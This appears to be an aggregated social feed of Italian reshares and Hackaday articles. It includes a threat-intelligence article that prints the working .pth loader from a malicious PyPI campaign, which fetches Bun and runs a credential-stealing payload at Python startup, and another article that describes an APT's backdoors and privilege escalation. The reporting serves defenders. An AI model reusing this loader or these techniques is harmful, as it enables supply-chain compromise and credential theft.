Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

73 repository Microsoft contaminati da Miasma: lo spettro della supply chain colpisce gli hyperscaler

📌 Link all'articolo : redhotcyber.com/post/73-reposi…

A cura di Carolina Vivianti

#redhotcyber #news #cybersecurity #hacking #malware #worm #miasma #github #microsoft #azure

Desalinating Seawater With Solar and No Brine


The media in this post is not displayed to visitors. To view it, please log in.

Although desalination is very commonly used these days to convert seawater into fresh water, one of the major disadvantages of current approaches is that commercial desalination plants produce a lot of brine, which has to be dumped somewhere ideally without causing major environmental issues. A new solar-thermal method as demonstrated by [Luheng Tang] et al. was published in Light: Science and Applications, with accompanying PR article.

This method is claimed to require no pre-treatment or leave brine, using special panels that wick water across their surface and then use solar radiation to distill this water. This differs from previous similar methods through a special surface treatment that prevents build-up of salts which would require cleaning or replacement.

The salts and other contaminants that would normally end up in the brine slough off these cells and can then be further processed to recover everything from plain table salt to lithium as well as gold, uranium and other substances of interest that are prevalent in seawater.

So far these self-cleaning cells have been tested with water from a number of oceans with a claimed 74% solar-to-vapor conversion efficiency and nearly 100% salt extraction. As always the challenge will be in scaling this up to industrial levels, but so far it looks promising.


hackaday.com/2026/06/07/desali…

Hackaday Links: June 7, 2026


The media in this post is not displayed to visitors. To view it, please log in.

Hackaday Links Column Banner

Christopher Nolan’s The Odyssey isn’t hitting theaters for another month or so, but if you’re already planning your trip to the cineplex, you may want to check out this page on the movie’s website which lets you view the trailer in the six (!) different formats it’s being released in.

We don’t really have an opinion on the big-screen adaptation of the epic tale as a piece of media, but from a technical standpoint, it’s interesting to see how the viewing experience changes between the 70mm IMAX version with an aspect ratio of 1.43:1 and the 35mm cut at 2.39:1. Unfortunately, the website offers no way to approximate what the movie will look like once compressed, streamed over the Internet, and displayed on a cheap TCL TV, to say nothing of how the viewing experience will be impacted should you watch the movie on your phone by way of a series of short YouTube clips while going to the bathroom. Maybe Nolan is saving that for his next film.

If you head over to the movies in one of Waymo’s vehicles, you can feel a little better about the long-term ecological impact of your trip thanks to a recently announced partnership between the autonomous car maker and B2U Storage Solutions. Under the agreement, old batteries pulled from Waymo’s fleet of self-driving electric cars will get a second life as localized grid storage.

The idea is that batteries which no longer hold enough charge to power a robo-taxi should still have enough capacity to store the energy produced by renewable sources so it can be doled out later when the demand goes up. By installing these batteries in the cities that Waymo actually operates their vehicles in, they don’t have to worry about shipping them around either — they can just yank them out of the car, and wire them right into the grid. Of course, eventually the batteries will be too cooked to adequately perform in this role as well, but this should give them a few more productive years before they get torn down and scrapped.

Speaking of scrapping, the Ladybird project has announced a pretty radical change for an open source project: as of Friday no public pull requests to the codebase will be accepted, and the only people who can make changes to the code will be the official maintainers. The license for the project isn’t changing, so folks are still free to create forks and modify the code of the scratch-built browser however they wish, but they’ll have to do so with the understanding that their changes will likely never get merged back upstream.

So why the change? You probably guessed it already: they are sick of people sending in patches developed with AI. We’ve talked about this issue previously, and the Ladybird devs are hardly the only ones struggling to separate the wheat from the vibecoded chaff. For what it’s worth, the announcement makes it clear that the team isn’t necessarily against the responsible use of AI in software development. Their concern stems more from the fact that AI lets anybody and everybody produce code that at least looks valid, and it makes it harder to figure out what’s good and worthy of inclusion and what should probably stay in somebody’s personal repo.

On the subject of software development, health-conscious free software aficionados will be excited to hear that the GNUtrition project hit version 0.33 on Friday. For those keeping track, the free-as-in-speech tool for *nix nerds looking to keep track of their caloric intake hasn’t seen a major release since 2012. The update takes into account the latest US Department of Agriculture (USDA) dietary data, and somewhat surprisingly, switches the whole codebase from Python 2 to pure C. Patches which would have allowed the new build of GNUtrition to calculate the nutritional value of substances eaten off of one’s shoe were mysteriously vetoed from the highest levels of the Free Software Foundation.

One more software link for the road: assuming it hasn’t been taken down by Nintendo’s rabid lawyers by the time this hits the front page, check out this WebASM port of Pokemon Emerald that you can play right in the browser.

The game came out more than 20 years ago for the Game Boy Advance, so the fact that it can run in a modern browser isn’t exactly shocking given how much of today’s software lives on the web. But we still love seeing these decompilation efforts and all the hacks that are made possible once you’ve got the code to work from rather than having to emulate the original system.

Finally, the good folks at iFixit have released a video wherein they take apart fake Apple products that were purchased in the electronics wonderland of Shenzhen. As you might expect, the gadgets they picked up all look fairly convincing at arm’s length, but many of their features don’t actually work and their internals are cobbled together with random ill-fitting bits and bobs.

At the end of the video they do note that the knock-offs are in general easier to take apart than their Cupertino counterparts, but that this doesn’t really help with their repairability or long-term viability as you’ll likely have a hell of a time tracking down replacement parts for the Number 1 Best AirPoods Max.

youtube.com/embed/E4VT5M5nUC0?…


See something interesting that you think would be a good fit for our weekly Links column? Drop us a line, we’d love to hear about it.


hackaday.com/2026/06/07/hackad…

Bluetooth Gramophone Has Surprisingly Contemporary Roots


The media in this post is not displayed to visitors. To view it, please log in.

So you happen to have a gramaphone– maybe a big old Victrola/HMV, perhaps a Columbia– regardless of brand, it’s a big, beautiful conversation peice for your living room. It might not be the most practical listening device, since isnomuch as there is a vinyl renessance, it’s restricted to vinyl, not the old shellac 78s the these all-mechanical beasts were born for. [JGJMatt] decided to bring his gramophone into the 21st century, turning it into a bluetooth speaker without altering any of its original internals.

What’s really interesting is that this hack was once a commercial product– sort of. Back in the 1920s when everyone was listening to Jazz, the problem of ‘ what do I do with this massive gramophone cabinet when I’m not cutting a rug?’ was equally valid, and a solution was found: the Dulce-Tone Radio Speaker. A very weak speaker sits under the needle, turning the gramaphone mechanism into an amplifier for the radio. The very same concept, [JGJMatt] would work equally well in the 2020s with a bluetooth signal as in the 1920s with an AM one. There’s no demo video for this project, but you can hear how its 1920s inspiration sounded in the video below.

The driver for this device is made using a neodymium magnet and the voice coil from a 3W speaker. A 3D-printed needle-holder captures the gramophone’s needle– a much thicker and sturdier thing than the tiny diamond-tip you’d find on a modern turntable, we should note– and holds the magnet to it. The voice coil gets driven via a MH-M38 bluetooth module, and everything is held in a nice 3D-printed case along with the battery.

The hack is, of course, totally reversible: at any moment, you can remove the needle from this device and drop it on a 78 for some Jazz-era fun, or swap back for 21st century brainrot. If you happen to have some of those old shellac records and a modern turntable, note it takes more than the right RPM to get good sound.

youtube.com/embed/XyrJMAnrB_w?…


hackaday.com/2026/06/07/blueto…

Cybersecurity & cyberwarfare ha ricondiviso questo.

#DentaQuest Breach: #ShinyHunters Publish Data Impacting 2.6M People
securityaffairs.com/193274/cyb…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

#AssaltoAllePiattaforme

Se siete #insegnanti e volete far capire agli studenti perché e soprattutto come evitare i #GAFAM non c'è nulla di meglio del libro di @kenobit maria2021.noblogs.org/files/20…

Noi possiamo parlare teoricamente di sorveglianza, estrattivismo, tecnofeudalesimo. Kenobit, invece, ne illustra praticamente l'effetto per per lui personalmente e per tutti noi: essere ridotti a produttori di "contenuti", vale a dire di roba fungibile, sulla base di algoritmi e numeri stabiliti da interessi altrui, per trasformarci in bersagli commerciali, se siamo fortunati, o anche militari, se non lo siamo.

L'alternativa è nelle nostre mani, se smettiamo di giudicarci con metri altrui:

La più grande sorpresa è stato l’effetto dirompente della riconquista del mio tempo. Ho risparmiato centinaia di ore, che fino a poco tempo fa dovevo investire per appagare le esigenze degli algoritmi. Libero dalle catene del content, ho ritrovato spazi di creatività che credevo perduti per sempre. Senza tirarmi il collo, sono riuscito a fare molto di più, e meglio. Ho avuto la serenità e la concentrazione per scrivere e autoprodurre un piccolo saggio, Liberare il mio smartphone per liberare me stesso, ho composto un disco di cui sono molto felice e ho potuto coltivare gli studi che hanno portato alla nascita del libro che avete tra le mani. Il tutto, tengo a sottolinearlo, con una serenità che non provavo dal fatidico giorno in cui decisi di tentare la fortuna come content creator. La libertà digitale mi ha restituito il piacere di fare ciò che amo.


Quanto racconta Kenobit vale allo stesso modo per i ricercatori asserviti dalla bibliometria, che è l'algoritmo della valutazione amministrativa della ricerca.

Siamo molto meno intelligenti di quanto pensiamo di essere - ma potremmo anche essere assai meno stupidi di quanto ci inducono a essere.

Questa voce è stata modificata (1 settimana fa)
Cybersecurity & cyberwarfare ha ricondiviso questo.

Niente aumenti in Teradata: hanno speso tutto per l'intelligenza artificiale! 🤡

Per anni, i CEO del settore tecnologico hanno utilizzato l'intelligenza artificiale come scusa per giustificare i licenziamenti. In realtà, però, molti esperti affermano che ciò che sta realmente accadendo è che i dirigenti stanno dirottando risorse finanziarie verso l’intelligenza artificiale a scapito di tutto il resto —compresa la fidelizzazione dei dipendenti.

finance.yahoo.com/sectors/tech…

@lavoro

Cybersecurity & cyberwarfare ha ricondiviso questo.

Ha ottenuto un'esenzione religiosa dall'uso dell'intelligenza artificiale sul lavoro. Le osservazioni del Papa potrebbero alimentare appelli simili.

Opponendosi all'utilizzo dell'intelligenza artificiale per il suo lavoro di ingegneria del software, Erin Maus si è assicurata una sorta di miracolo dal suo datore di lavoro: un'esenzione religiosa.

businessinsider.com/worker-got…

@aitech

Cybersecurity & cyberwarfare ha ricondiviso questo.

L'indice S&P 500 rifiuta SpaceX, bloccando anche l'ingresso per OpenAI e Anthropic

SpaceX ha richiesto un ingresso insolitamente rapido in diversi indici azionari leader come condizione per il suo storico debutto in borsa. Ma l'indice azionario S&P 500 ha sorpreso gli analisti di mercato rifiutandosi di infrangere il dicktat dell'azienda spaziale e di intelligenza artificiale di Elon Musk.

arstechnica.com/tech-policy/20…

@aitech

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

Secondo alcune fonti, il Pentagono ha alzato al massimo livello la minaccia di spionaggio israeliano sugli Stati Uniti (e l'Italia che fa?)

Il livello di minaccia del controspionaggio è stato aumentato dalla Defense Intelligence Agency nelle ultime settimane dopo le crescenti preoccupazioni che lo spionaggio israeliano fosse diventato più aggressivo del solito, dicono le fonti.

nbcnews.com/politics/national-…

@politica

reshared this

How Small Can You Make A C Executable?


The media in this post is not displayed to visitors. To view it, please log in.

It’s well known that the difference in executable size between a compiled binary and one hand-written in optimized assembler will be significant. The compiler brings in all manner of boilerplate whether it needs all of it or not, which is responsible for the extra space. [Weineng] has fallen down the rabbit hole of trying to make the smallest possible gcc-compiled C executable, and the resulting write-up is a fascinating read.

Surprisingly the smallest C program isn’t “Hello World”, but one which simply does nothing but return 0. This results in a binary weighing in at a surprisingly large 15,816 bytes — something which surely could be improved. There follows a set of clever compiler flags and bits of code manipulation to remove some debugging information, and strip out unnecessary stuff executed before void main().

At 13,632 bytes it’s still a little on the chunky side, so it’s time to examine what libraries it brings in. More compiler flags get it down to 8,704 bytes. Removing a code comment section and error handling with more flags takes it to 4,320 bytes. Then there’s code which dictates how memory is allocated, which brings it down to 400 bytes. That’s an impressive reduction!

Reading this as hardware people we maybe don’t have the elite knowledge of compiler flags it takes to manage something like this. But we’ve all at times had to reduce the size of a bit of software, so we’re sure some of the techniques used are going to be interesting to quite a few readers.

After all, even hardware people need to trim the fat at times.


hackaday.com/2026/06/07/how-sm…

Cybersecurity & cyberwarfare ha ricondiviso questo.

SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 100
securityaffairs.com/193268/mal…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

Nothing compares 2 U, Prince, le lacrime e tutto il meraviglioso mood melenso e melanconico di Sinead O'Connor.
Quel mood nel quale ci piace immergerci quando siamo tristi, quando mettiamo il cuore a bagno dentro la tristezza e sembra che gli artisti abbiano scritto quei versi proprio per noi.

#YSMR, Track 003
One track. One Sunday. One spin.
🎵 youspinmeround.substack.com/p/…

#ysmr
in reply to Claudia

a proposito di Sinead, hai mai sentito Broken China ?

il disco più bello di un membro dei Pink Floyd (a parte i due di Syd)

youtube.com/watch?v=N9SKH5rF_c…

Unknown parent

mastodon - Collegamento all'originale

Claudia

@uriel ci sono dei momenti in cui tutti abbiamo bisogno di nuotare nel nostro intimo e capire se vogliamo andare a fondo, galleggiare o nuotare verso nuovi lidi.

Credo che ognuno la viva a modo proprio, chi se ne frega, chi si ubriaca, chi attacca briga, chi piange, chi si chiude in camera, chi mangia, chi pigia sull'acceleratore, chi resta immobile a sentire il battito del cuore.

Cybersecurity & cyberwarfare ha ricondiviso questo.

Security Affairs #newsletter Round 580 by Pierluigi Paganini – INTERNATIONAL EDITION
securityaffairs.com/193260/bre…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

Qual è il motivo che dovrebbe spingere qualcuno ad usare #Linux ?

Voi avreste facilmente una risposta?

In un mondo dove si è sempre catalogati e dove anche i sistemi operativi hanno ormai ritagliato il proprio spazio in una nicchia, ho cercato di trovare la mia personalissima risposta al quesito, cercando di essere il più chiaro ed esaustivo possibile.

youtu.be/xmuI0WYB8lg?is=1oc7xC…

#OpenSource #FreeSoftware #OS #Windows #MacOS

@gnulinuxitalia

in reply to Lorenzo DM

Felice del cambio di rotta nell'ultimo video di @lorenzodm : è passata una linea matura, strutturata e meno tifosa, riconoscendo a Linux dignità e filosofia indipendenti (es. SteamOS).
​Curioso ora di sapere cosa ne pensi di elementary OS: partendo da una base diffusa hanno creato un'interfaccia coerente e nativa, affrontando il mercato consumer con trasparenza, senza scorciatoie grafiche che creano dissonanza nei menu. Non è questo l'archetipo di derivata desktop?
​#Linux #elementaryOS
in reply to peppesantarsiero1

@peppesantarsiero1 ciao! Sono felice che qualsiasi incomprensione precedente sia sta riconsiderata al netto del nuovo video (che essendo generico fa comprendere molto meglio il mio personale punto di vista sulla situazione a 360°).

Su Elementary ti ho risposto sotto al video 😉 (questa volta il commento è arrivato). Comunque in soldoni è una bella Distribuzione e credo anche a volte sottovalutata.

A livello invece di definizione invece, io sono molto più aperto. Per me una Distro è valida se il progetto presenta una direzione chiara e precisa in termini di filosofia, ciclo di sviluppo e rilascio e soprattutto modalità di uso e target.

Tutte le Distro sono bene accette, l'importante è riconoscere perché un progetto esiste. Quando nasce una Distro senza scopo, solo per sport, si rischia di incidere sulla sua pelle una data di scadenza netta, ed è una cosa spiacevole.

Spero di aver fatto comprendere il mio pensiero, nel caso resto a disposizione. Un saluto!

LIPS is an Open Source Sip-And-Puff Interface


The media in this post is not displayed to visitors. To view it, please log in.

Lots of us have– thanks to repetative stress injuries– developed mobility issues that we have to work around when using computers. Maybe it’s a trackball instead of a mouse, or a split keyboard, or mechanical keys with very specific force requirements– but those are small potatoes compared to people with such severe movement issues such as quadriplegia who need to fall back on things like a sip-and-puff device to control the computer with their mouths. Commercial options of course come with absurd price tags, but a DIY option is a different story. [DanielYordanov]’s L.I.P.S project can be built for only a couple percent of what the big boys want, and it’s fully-open source.

So you might think a sip-and-puff device is a two-bit interface, only slightly more advanced than the morse terminal we featured earlier. While Morse code might be an option, these devices also act as pointers, as the lips and chin can be used to point the mouthpiece. Thus there are a few sensors needed: a hall-effect joystick for pointing info, and one or more pressure sensors to detect the breathing interface for ‘clicks’. [Daniel] has single and dual-sensor versions, creating at minimum a four-button mouse. In reality this hardware can distinguish long and short pulses, or combinations of breath to run some nice macros. With operating-system features like an on-screen keyboard, L.I.P.S. can provide someone with digital freedom– and at a tiny fraction of the cost of a ‘real’ medical device.

Despite the DIY nature, for the end-user control and config is easy enough thanks to a webserial portal run on the CH552 that you can preview on the official website. Code, ki-cad and STL files are all on his GitHub repository. If you’re interested in the design process, we’ve embedded his video about that below.

Thanks to [Daniel] for the tip! Do you know of a hack to make life better for someone, disabled or otherwise? Send us a tip!

From one-handed typing to open-source prosthesis, this sort quality-of-life hack may be the best thing about our community.

youtube.com/embed/j40GypGLRow?…


hackaday.com/2026/06/07/lips-i…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori
#CyberSecurity
insicurezzadigitale.com/campag…

@informatica


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite
#CyberSecurity
insicurezzadigitale.com/verdan…

@informatica


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
